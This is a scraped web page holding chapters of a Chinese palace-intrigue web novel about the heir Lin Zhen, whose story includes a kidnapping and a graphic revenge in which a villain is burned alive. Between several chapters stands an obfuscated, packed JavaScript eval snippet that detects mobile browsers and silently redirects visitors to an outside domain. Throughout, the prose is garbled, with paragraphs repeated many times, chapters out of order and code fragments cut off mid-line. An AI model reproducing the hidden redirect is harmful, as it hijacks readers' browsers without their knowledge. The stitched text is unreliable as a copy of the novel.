;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789354|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林震仙余怒未消,坐在椅子上大口大口喘着粗气。 林臻的话给他带来了极大的震撼,但这又何尝不是林臻对他的一次试探呢? 老爷子毕竟老了,思想古板,墨守成规。 林震仙余怒未消,坐在椅子上大口大口喘着粗气。 林臻的话给他带来了极大的震撼,但这又何尝不是林臻对他的一次试探呢? 老爷子毕竟老了,思想古板,墨守成规。 林震仙余怒未消,坐在椅子上大口大口喘着粗气。 林臻的话给他带来了极大的震撼,但这又何尝不是林臻对他的一次试探呢? 老爷子毕竟老了,思想古板,墨守成规。 第222章 惊天秘密 因为林臻这几天打算养养身体,所以就没进宫去见慕容嫣。 至于慕容嫣会不会望着天边候鸟思念他,他就管不到了。 作为王府世子,不上班也得工作。 这是最苦恼的,就像写网文的作者全年无休一样。 林臻好像一直都没有给自己放个假。 等乾楚大战结束,他打算出门去浪一浪,带着妻妾去看看没有雾霾的原始世界。 王府里最简单的书房几乎成为了他的事业中心,每天来汇报的人有男有女,数不胜数。 其中光侯春就进进出出四次,汇报了关于搜捕顾南山的事情、递交京中三卫将军的书信、说说曹雄和二狗身体恢复得如何,林震仙那边有何交代。 紧跟着张俪也过来叙话,与林臻商量新产业开发与接盘的事情。 最后就是月妩。 收粮的事情进行得不是很顺利。 因为现在还不到秋收的季节,前阵子又让顾家收走好些存粮。现在百姓只要听说有收粮的人,立刻抬高粮价,警惕得很,就目前为止只收到麦子、稻子等谷物八千斤,与林臻的目标相去甚远。 也罢,秋收快来了,到时候再说吧。 现在慕容嫣已经全然相信自己,想来林震仙前线是不会缺粮的。 说起粮食,林臻就想到乾楚大战。 这件事是不是应该提前和林震仙说一下,让他早做准备呢? 可是想想老爷子那骄纵的性格,林臻只得作罢。 甚至林臻都能猜想到他会说什么。 老爷子肯定是一脸不屑,捋着胡子看兵书,不在乎的道:“呵,南楚那些鼠辈也值得老夫上心?滚!什么时候打起来再告诉老夫便可。” 林臻咧了咧嘴,心说还是算了吧 自己只要把粮饷、兵器,后勤等工作处理好,这场仗也不会输。 况且,楚惜灵还在自己手里,关键时刻能也用得上。 第二天早上,林臻在张俪、月妩、晴雯,浣碧四女的陪同下,在怡莲阁吃了顿还不错的早餐。 林震仙真的把千年人参给拿出来了,也不管有用没用,非要熬成汤药给晴雯灌下去,吓得晴雯躲在林臻怀里哇哇大哭。 最后还是在孙之推的劝阻下才作罢。 吃过饭,大家各忙各的,林臻交代晴雯几句,便也让她出门了。 孕期少静养,适当活动,会更有利于分娩,这是千百年来传下来的经验。 闻得此讯的林震仙又把林臻骂了个狗血淋头, 骂完以后便不再多管。 刚走出怡莲阁的门就见侯春站在门口他抱拳说道:“世子大理寺谭武来了说要见您就在会客厅等着呢。” “知道了。”林臻点点头一点都不意外。 谭武前天发来请帖自己没回估计也是因为这件事情。 会客厅里谭武满脸沧桑连胡子都白了好像刚刚经历一场大起大落。 见林臻走出来忙起身满面惶恐地说道:“下官参见世子。” “谭大人不必多礼坐吧。” 林臻坐在主位谭武正襟危坐的在下首屁股只沾椅子一点点双手放在膝盖上很是拘谨。 林臻见他这副德行便知是有事情要求自己于是笑道:“谭大人今日前来所为何事啊?” “不瞒世子下官是来负荆请罪的。” “哦?谭大人何罪之有?” “上次世子要见索立文下官拒绝驳了世子的颜面故而前来。” 林臻把茶盏放在桌子上装出一副无所谓的样子。 “没事我没放在心上谭大人没事可以回了。” “额”林臻冷淡的态度让谭武有些不知所措“下官还有事情只是不知当讲不当讲。” “说。” 谭武从怀里掏出一个信封走过来颤颤巍巍的双手递给林臻。 他弓着身子双腿止不住地颤抖 林臻狐疑地看了看上面发现没有落款是张空头信这更是令他疑惑。 却听谭武说道:“世子这是索立文的口供上面的事情句句真实绝非下官严刑拷打的结果。前天索立文死了下官斗胆想请世子向陛下解释饶下官一命。” 林臻接过信没有让他坐下就这么拆开堂而皇之的看起来。 其实这不是信而是有着手印的口供上面还有斑斑血迹浸透纸背看起来十分骇人。 而且看记录顺序这不是一天或者一次的审讯结果。 口供的前面讲述了索立文是如何如何与顾家联合贪污的制造了多少冤案、错案被误判的官员以及家眷受到了什么惩罚。 这些林臻不奇怪。 在顾云霆政治地位高的时候他手底下全都是这样的事情。 但是后面就开始越写越玄乎了甚至索立文还说自己杀害了皇子间接导致先帝子嗣全无。 并且记录得非常清晰。 什么地点、因为什么事情、导致了 什么结果、先帝为什么没有察觉他又为什么这么做等等。 好家伙。 难怪先帝没有子嗣就剩下一个慕容嫣了呢原来这索立文早就和顾云霆勾结在一块了。 目的就是让皇帝没有子嗣好禅位或者等先帝死了他们直接夺权。 至于林震仙他们竟然决定联合南楚一起对付。 好深的算计啊。 可惜在顾北辰的助攻下一切真相大白所有计划也全部化为泡影让顾家、廉家索家以及所有与顾家勾结的家族全部沦为阶下囚慕容嫣也因此大赚一笔。 造化弄人啊。 也不知道慕容嫣听到这个消息会是什么反应。 估计她一定会气得把索立文株连九族甚至连谭武她也不会放过。 也罢这个消息不管谁去都会被慕容嫣牵连确实自己去最合适。 但是我凭什么要帮他? 他以前可是顾云霆的人。 林臻把口供放在桌子上没说帮忙也没说拒绝反问道:“你凭什么认为我会帮你?我又为何帮你?你能给我什么?” 谭武把身子躬得更低了。 “下官实在不知道该去找谁。世子心怀天下又是陛下宠臣如愿意救下官于水火下官愿以后唯世子马首是瞻!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795484|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林臻冷笑道:“呵呵你的忠心在我看来如同儿戏并不能打动我。” “下官.还知道一件事只是下官说出来世子可一定要帮我否则下官就彻底死无葬身之地了。” “说吧如果确实是隐秘的事情 谭武咬了咬牙心里想着计划最后噗通一声跪在地上给林臻磕了个头。 “世子当年小王爷.也就是您的父亲非是病死而是而是被毒死的。” “什么!?” 林臻大叫一声下意识地回头去看了看。 发现除了浣碧站在那里外并没有其他人这才长舒口气。 我的妈呀。 这个消息要是让老爷子知道天都塌了。 “你仔细说到底怎么回事。” 谭武声音很沉好像是故意把事情说的很严重让林臻有所感想。 “是刘翰阳。当年我与他一同入顾相顾云霆门下这是他的投名状。顾云霆目的在于让皇家绝后林家绝后这样等先帝和王爷一死他便能掌控军队成为大乾新的君主。” “我爹和我爷爷死了不是还有我呢吗?” “当时.顾云霆并没有把世子您当回事,还说,林臻不过区区纨绔,随手便可捏死。” “噗呵呵呵,真是有意思,敢说这样大话的人最后居然死在自己小妾手里,可见是天道好轮回啊。” 林臻为顾云霆感到悲哀,也为这样庞大阴险的布局感到心惊。 难怪刘书瑶死的时候非要让自己舔他的胸口呢,原来是和刘翰阳学的。 可笑当时只以为是刘书瑶要和自己同归于尽。 虽说。即便不碰到棋牌佛,林臻也是要杀刘书瑶的。 但他确实是因为棋牌佛的出现更加提高警惕。 下次再碰面的时候,真得好好谢谢人家,最起码把那些没过滤的蒸馏酒,多请他喝几杯。 林臻收回思绪,发现谭武依旧跪在地上。 他冒着生命危险把这两件事情说出来,其目的就是求得林家庇佑,保住官位。 可实际上,林臻不这么认为。 这两件事情只要曝光出去,谭武必死。 因为索立文已经死了。 慕容嫣绝对会纠察他办事不利的罪过。 而且林臻感觉他目的不纯,又是个有前科的背叛者,身为国家官员竟然里通卖国,这是死罪。 谭武好像感知到了什么,他说道:“世子,如今下官已经把所有知道的都说了出来,您若不答应,下官就只有死路一条了。” 林臻淡淡地看着他,想从他脸上看出点什么东西。 但很可惜,一个已经在官场混油了的人,是不会轻易露出破绽的。 罢了,现在弄死谭武对自己也没有什么好处,倒不如暂且给他个机会,等以后有合适的人去顶替大理寺的时候,再把他弄死。 林臻拿起口供,重新揣进信封里,说道:“谭大人先回,我自会禀明圣上,不会耽误你的官途。” 谭武如蒙大赦,再次拜倒。 “多谢世子大恩大德!谭武以后为世子马首是瞻,绝不背叛!” 第223章 谭武有蹊跷 话说的好听,像谭武这样的墙头草林臻是绝不会重用的。 顾云霆还活着的时候他因为某些原因背叛了他,现在又来投靠自己。 这样反复无常的人,根本不值得信任。 话说的好听,像谭武这样的墙头草林臻是绝不会重用的。 顾云霆还活着的时候他因为某些原因背叛了他,现在又来投靠自己。 这样反复无常的人,根本不值得信任。 话说的好听,像谭武这样的墙头草林臻是绝不会重用的。 顾云霆还活着的时候他因为某些原因背叛了他,现在又来投靠自己。 这样反复无常的人,根本不值得信任。 话说的好听,像谭武这样的墙头草林臻是绝不会重用的。 顾云霆还活着的时候他因为某些原因背叛了他,现在又来投靠自己。 这样反复无常的人,根本不值得信任。 话说的好听,像谭武这样的墙头草林臻是绝不会重用的。 顾云霆还活着的时候他因为某些原因背叛了他,现在又来投靠自己。 这样反复无常的人,根本不值得信任。 话说的好听,像谭武这样的墙头草林臻是绝不会重用的。 顾云霆还活着的时候他因为某些原因背叛了他,现在又来投靠自己。 这样反复无常的人,根本不值得信任。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795485|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话说的好听,像谭武这样的墙头草林臻是绝不会重用的。 顾云霆还活着的时候他因为某些原因背叛了他,现在又来投靠自己。 这样反复无常的人,根本不值得信任。 话说的好听,像谭武这样的墙头草林臻是绝不会重用的。 顾云霆还活着的时候他因为某些原因背叛了他,现在又来投靠自己。 这样反复无常的人,根本不值得信任。 话说的好听,像谭武这样的墙头草林臻是绝不会重用的。 顾云霆还活着的时候他因为某些原因背叛了他,现在又来投靠自己。 这样反复无常的人,根本不值得信任。 第229章 来福大爷 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“那可不行,男大当婚,女大当嫁。男人到了岁数不娶媳妇,就会被视为另类,没有人会提拔你。 “不娶亲就不提拔,这是何意? “以前有人说,男人要三十五岁以后才可堪大用。这意思就是三十五岁以后有老婆有孩子了,男人才能成熟,才能坚决完成任务。等着吧,我会挑个家庭、条件都适合你的女子,给你做媒。 林臻都这么说,侯春当然不敢拒绝。 更何况摄政王世子亲自做媒,这是天大的恩宠,侯春单膝跪地。 “谢世子。 “起来。 “是。 林臻是想栽培侯春,这是个有能力也有忠心的属下,给他保个大媒,成家立业,以后使着才更加顺手。 只是这小子有点心高气傲,奴婢之类的女子一概不要。 名门望族的大小姐也看不上他,所以就只能挑平民家里的丫头,但是林臻又不怎么和平民来往。 难啊。 回家吧,家里有吃有喝还有美人作伴。 林臻心里想着事情,继续往家里走,完全没发现周围突然出现许多黑衣人。 侯春发现异样,立刻抓住林臻往反方向跑。 “世子快走!有 埋伏! “抓住林臻!!一声娇喝伴随着一个绚丽的身影出现在月光之下。 侯春抽刀,看也不看,回头便砍。 林臻前扑出去,摔个跟头,再次起来时已经被两柄长剑夹住了脖颈! “别动!!又是一声娇喝。 林臻看向自己身边两人,发现她们都比自己矮,手也很白皙,虽然蒙面但明显是女子。 坏了。 估计是天道的人。 “两位仙子,有话好说呀。林臻一副玩世不恭的样子,结果被右边的女子一拳打在肚子上。 “唔! 林臻何时受过这样的罪?当即想捂着肚子蹲下,但是头发却被她狠狠抓住,紧接着套上一个布袋子,被人夹起来,扬长而去。 侯春被众人围殴,根本顾不上林臻,只能眼睁睁看着林臻被她们带走。 晚间,王府。 林震仙看着泰山山脉,愣愣出神。 那是与南楚交界的地方。 这时,大管家林安突然推门进来,紧接着指挥小厮将受伤的侯春放在地上。 林震仙眉头一皱,顿时有一种不好的预感。 “怎么回事? 林安说道:“老爷,世子被歹人抓去了! “什么!!?林震仙当即大吼,反应迅速。 “立刻让剑阁封锁城门,寻找臻儿!另外龙骧营、虎贲营、烈熊营全军进城,从南到北,挨家挨户搜查,连个地下室都不能放过!任何敢抵抗或者叫嚣的人,杀无赦!吩咐京中三卫,在京城周边撒网,绝不能让臻儿出一点点意外!! 林震仙眼珠子都要瞪出来了。 如果林臻有什么三长两短,他绝对会疯掉。 而疯掉的摄政王,谁也不知道会干出什么事情来。 要知道他老人家手里可是有绝对的兵权! 林臻卧房内,浣碧听闻此事连忙跑去怡莲阁找晴雯。 “晴雯!晴雯!她声音焦急,略有哭声,正与赶来的月妩、张俪两女相遇。 “嘘!浣碧妹妹,你听我说。张俪一边拍打着浣碧的后背一边安慰道,“世子聪明至极,肯定不会出事的,现在晴雯有身孕,千万不能惊动她,一旦出了事情我们都难辞其咎! 月妩也劝慰道:“是呀妹妹,别着急,事情还不一定呢,我们先稳住,别让晴雯看出什么来,在家等消息就好了。 要说四女中谁对林臻感情最深,恐怕不好评判,但浣碧绝对是对林臻最用心的一 个。 现在林臻失踪,生死不明,她岂会不伤心? “两位姐姐.呜呜呜. “别哭了别哭了。张俪搂着浣碧,一边立起眼睛对所有人说道:“吩咐下去,任何人不得对晴雯夫人说起此事,否则一律杖毙! 张俪也是杀过人的女中豪杰,生气时所散发的压迫感远远不是丫鬟小厮能承受的,况且谁都知道张俪是世子的小妾,在府中有着一定地位,所以纷纷点头称是。 月妩说道:“现在是非常时间,我们出门一定要带好护卫,千万不能给家里添麻烦。 “嗯! 刚刚看完奏折的慕容嫣伸了个懒腰,只觉浑身酸胀难耐,不由蹙眉。 都怪可恶的林臻,用那么多欺负女孩子的招数。 还推车,推你大爷! 喊来麝月将奏折抬走,自己准备钻进被窝好好地睡上一觉。 挨到枕头的那一刻,慕容嫣不觉就叹了口气。 唉,也不知道林臻什么时候才能陪自己睡一晚,这孤枕难眠的日子难熬呀。 就在这时,慕容无舌在外面喊道:“陛下!老奴有急事求见,林臻被不明势力给抓走了。 “什么!?慕容嫣一下从床榻上坐起来,“麝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身边应该坐着两个女人,散发着两道不同的香气。 她们时不时地说几句话,偶尔咒骂林臻两句,还十分警惕地轮流看守,生怕林臻跑了。 这是要去哪啊。 唉。 林臻现在很后悔穿越过来没有习武,如果这次逃脱大难,必须要下定决心请两个好师父学学。 “两位仙子,既然你们不想杀我,那就给我口水吧。再这么下去我就渴死了。” 只听有女子冷哼的声音传来:“哼,喝水?你可知我姐姐妹妹此刻喝水了吗?王八蛋,竟敢让士兵侮辱我清清白白的姐妹,我恨不得现在就杀了你!” 说着话,林臻听到宝剑出鞘的声音,却被另外一个女人阻止。 “绯羽妹妹,不可!宗主说了,必须要将他活着带到总坛。” “哼!” 宝剑再次入鞘,马车继续缓缓行驶。 突然,林臻听到了一声虎啸,自不远处传来。 第227章 一只小脑斧 林臻早就跑了。 可以说在静澜仙子下车的时候,他就已经拿出袖子里藏着小匕首。 当时让浣碧把匕首藏在袖子里就是以备不时之需的,只是两个多月来他从没使用过,这回可算派上用场了。 林臻早就跑了。 可以说在静澜仙子下车的时候,他就已经拿出袖子里藏着小匕首。 当时让浣碧把匕首藏在袖子里就是以备不时之需的,只是两个多月来他从没使用过,这回可算派上用场了。 林臻早就跑了。 可以说在静澜仙子下车的时候,他就已经拿出袖子里藏着小匕首。 当时让浣碧把匕首藏在袖子里就是以备不时之需的,只是两个多月来他从没使用过,这回可算派上用场了。 林臻早就跑了。 可以说在静澜仙子下车的时候,他就已经拿出袖子里藏着小匕首。 当时让浣碧把匕首藏在袖子里就是以备不时之需的,只是两个多月来他从没使用过,这回可算派上用场了。 林臻早就跑了。 可以说在静澜仙子下车的时候,他就已经拿出袖子里藏着小匕首。 当时让浣碧把匕首藏在袖子里就是以备不时之需的,只是两个多月来他从没使用过,这回可算派上用场了。 林臻早就跑了。 可以说在静澜仙子下车的时候,他就已经拿出袖子里藏着小匕首。 当时让浣碧把匕首藏在袖子里就是以备不时之需的,只是两个多月来他从没使用过,这回可算派上用场了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804883|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林臻早就跑了。 可以说在静澜仙子下车的时候,他就已经拿出袖子里藏着小匕首。 当时让浣碧把匕首藏在袖子里就是以备不时之需的,只是两个多月来他从没使用过,这回可算派上用场了。 林臻早就跑了。 可以说在静澜仙子下车的时候,他就已经拿出袖子里藏着小匕首。 当时让浣碧把匕首藏在袖子里就是以备不时之需的,只是两个多月来他从没使用过,这回可算派上用场了。 林臻早就跑了。 可以说在静澜仙子下车的时候,他就已经拿出袖子里藏着小匕首。 当时让浣碧把匕首藏在袖子里就是以备不时之需的,只是两个多月来他从没使用过,这回可算派上用场了。 第229章 来福大爷 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809847|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” 林安把手里的信分给晴雯、张俪、月妩、浣碧四女,还有一封是给慕容嫣的,他需要进宫呈上。 浣碧是四女中最难受的,但林臻给她的信却是最简单。 甚至简单到只有一句话:“碧儿,我很好,别担心。” 第233章 报仇(二) 这姑娘长得好生耐看一双大眼睛水汪汪的皮肤也十分白皙像煮熟的蛋白那样光滑细嫩。只是她几乎完美的身体被从胸口侧面流出来的血液浸染。 白色与红色交织生与死的纠缠同时出现在一人身上让她仿佛成为堕落凡尘的炽天使。 她应该是被刀捅死的。 但林臻不知道为何那姑娘脸上残留的最后表情竟然是一抹释怀。 郑三山好像看出了林臻的疑惑解释道:“世子她是被周将军了结的。” “应该是她求的周泽吧?” “是。” 唉。 林臻叹了口气。 如果行动再早一天这条鲜活的生命就能可以继续在这片美妙的大地上奔跑。 可惜林臻来晚了。 但世间哪有那么多如果? 林臻并没有因此责怪自己他蹲下身用手指轻轻地摸了摸姑娘的脸神情温婉十分怜惜。 “你也一定很爱这个世界吧。” “放心我不会让你白死的。” “我会让你亲眼看到这些折磨你的畜生是怎样的下场。” 林臻站起来对周围人吩咐道:“把所有去世的女子摆放好那些没死的也都拉进来。让她们看看我是怎么给她们报仇的。” “是!”士兵们大喝一声。 见到自己人被折磨成这个样子士兵们早就怒火中烧了恨不得现在就把所有波斯人都攮死以告慰她们的在天之灵。 林臻继续往前走着。 身后士兵开始搬动尸体。 他们的动作很小心好像生怕惊动了她们残破的灵魂。 很快这里不再是乱糟糟的而是整齐划一。 所有尸体都被整整齐齐地摆放好就在这尊巨大的圣坛前面。 至于那些波斯人的尸体则直接扔了出去。 林臻从巨大的金丝楠木柱子上取下长明灯突然发觉这灯很别致 这里面烧的居然是人油。 一时间对邪教的恨再次涌上心头林臻死死攥着长明灯被油烫到也不松手径直来到圣坛前面。 圣坛里的燃料是什么他看不到。 因为圣坛太高了。 但从里面散发出来的恶臭中也能猜测出肯定不是什么好东西。 或许人油就是从这里出来的。 他拿着长明灯随手丢进去。 轰—— 里面的燃料好似干柴遇烈火,被瞬间点燃,整座大殿火光冲天,照映着每个人的脸庞。 圣坛里的烟雾也很奇怪。 没有四散而出,反而是直挺挺的冲上天花板,顺着一个四方形的洞口排了出去。 巧夺天工啊。 这么好的东西怎么就用在了邪教身上呢。 林臻没时间感慨,更没有心情看景。 他转过身,看向已经陷入昏迷,躺在地上的顾南山。 “把他弄醒。 士兵把自己的水壶拿出来,拔掉塞子,一股脑倒在他脸上。 “哗啦—— “啊!!噗!! “啊!!我的手!! 顾南山醒来第一件事情就是大喊疼痛,想抬起手看看,却发现只能抬起大臂,小臂和手根本动不了。 他这才想起,自己已经被林臻抓了。 他猛然看向林臻,却见林臻身后有熊熊烈火在燃烧着。 他该不会是要把我丢进火里吧? 想到这顾南山大惊失色。 “林臻!!你答应我说要给我一个痛快的!你为何食言! “哦?这还不够痛快吗?林臻用大拇指,指了指圣坛,“放心吧,这么大的火,你也就疼一分钟。 “一分钟?一分钟是什么? “一分钟就是林臻也不知道该怎么解释,于是直接吩咐士兵:“扔进去。 “是! “啊!!不要!不要!!林臻,饶我一命!顾南山被四名士兵举起来,想挣扎却根本动不了。 那张苍老的脸上全都是恐惧,再也不见半点淡然。 天底下就没有不怕死的人,就看死的值不值得。 如果值得,自由万千人愿意奉献自己的生命。 如果不值得,就像顾南山此时此刻。 他觉得自己无比惋惜。 士兵走到圣坛旁边,熊熊火焰袭来滚烫的热浪,顾南山感觉自己浑身上下都要被点着了,他大喊。 “林臻,林臻!留我一命,我能帮你成为天下之主! “我有钱,我有的是钱,我把钱都给你,留我一命吧!! “林臻!!我操.啊!!一阵杀猪般的惨叫传来。 顾南山被挑断了手筋脚筋,四肢都不能动,只能眼睁睁感受烈火在灼烧自己皮肤,吞噬掉自己的视野。 他疼得死去活来,很快,便消无声息。 这个为害大乾,视人命如草芥的恶 魔,终于死了。 林臻望着火焰长舒口气,好像放下了某件心事。 随即,他再次转头,目光锁定在刘翰阳身上。 仅仅是这一个目光,便将刘翰阳浑身打得通透,他噗通一声跪在地上。 “林臻!看在我把女儿嫁给你的份儿上,饶我一命吧! 他的儿子刘书德也同样下跪,说道:“世子!!我为大乾恪守边疆,没有功劳也有苦劳,求求您饶我父亲一命!我刘书德愿意永生永世为您效劳! 林臻摇了摇头。 “书德,你应该庆幸你没有被你父亲影响。没有做一个坏人。但是我与你父亲之间恩怨,你根本不懂,因为他曾杀了我的父亲。 “啊刘书德瘫坐在地上。 他万万没想到,自己一向慈爱的父亲竟然会这般。 他没有再劝,也没有再求。 只是愣愣的坐在地上,看着这个养育自己多年的父亲,泪流满面。 刘翰阳或许知道自己今天必死了,他心疼的看了眼刘书德,最后把目光聚集在林臻身上,说道:“林臻,败在你手里我无话可说,但千错万错都是我一个的错,与我儿子无关!你饶他一命,我愿了结自己。 “爹 “好孩子。刘翰阳露出最后那抹慈爱,拍了拍刘书德的头,“带着你弟弟好好活下去,不要为我报仇。 言罢刘翰阳神色一凛,站起身拔出士兵的佩刀,直接砍在自己脖颈上。 噗—— 血流如注。 刘书德悲愤的大喊:“爹!!! 林臻闭上眼睛。 心里说不出是痛快还是释怀。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这是.” “世子!!世子!!” 负责伺候来福的士兵在后面跑得上气不接下气,最终踉踉跄跄跑到林臻面前,单膝跪地。 “世子.末将无能,没能看住来福,请世子犟嘴。” “.”林臻眉毛一挑:“犟嘴?哥们你啥口音啊?哪人啊?” “回世子,小的正定人啊。” “放屁!正定人是你这个口音?” “额我母亲陕北的。” 林臻没好气的翻个白眼,指着地上的黑狗说道:“这怎么回事?” “回世子,你们冲进去的时候来福很不情愿,于是就跑了,末将一直追到他们后院,就看到这只黑狗在哪里狂吠!来福生气了,冲上去将其咬死,又跑了回来。” 何明远走过来,捏着长胡说道:“世子,这应该就是拜火教的圣犬!” 第235章 大乾从此,再无邪教!(报仇终) 噗—— 一朵血雾绽放。 林臻的力气终究还是小了些,锋利的大刀并没有砍掉波斯人的脑袋,而是卡在了脖颈里。 噗—— 一朵血雾绽放。 林臻的力气终究还是小了些,锋利的大刀并没有砍掉波斯人的脑袋,而是卡在了脖颈里。 噗—— 一朵血雾绽放。 林臻的力气终究还是小了些,锋利的大刀并没有砍掉波斯人的脑袋,而是卡在了脖颈里。 噗—— 一朵血雾绽放。 林臻的力气终究还是小了些,锋利的大刀并没有砍掉波斯人的脑袋,而是卡在了脖颈里。 噗—— 一朵血雾绽放。 林臻的力气终究还是小了些,锋利的大刀并没有砍掉波斯人的脑袋,而是卡在了脖颈里。 噗—— 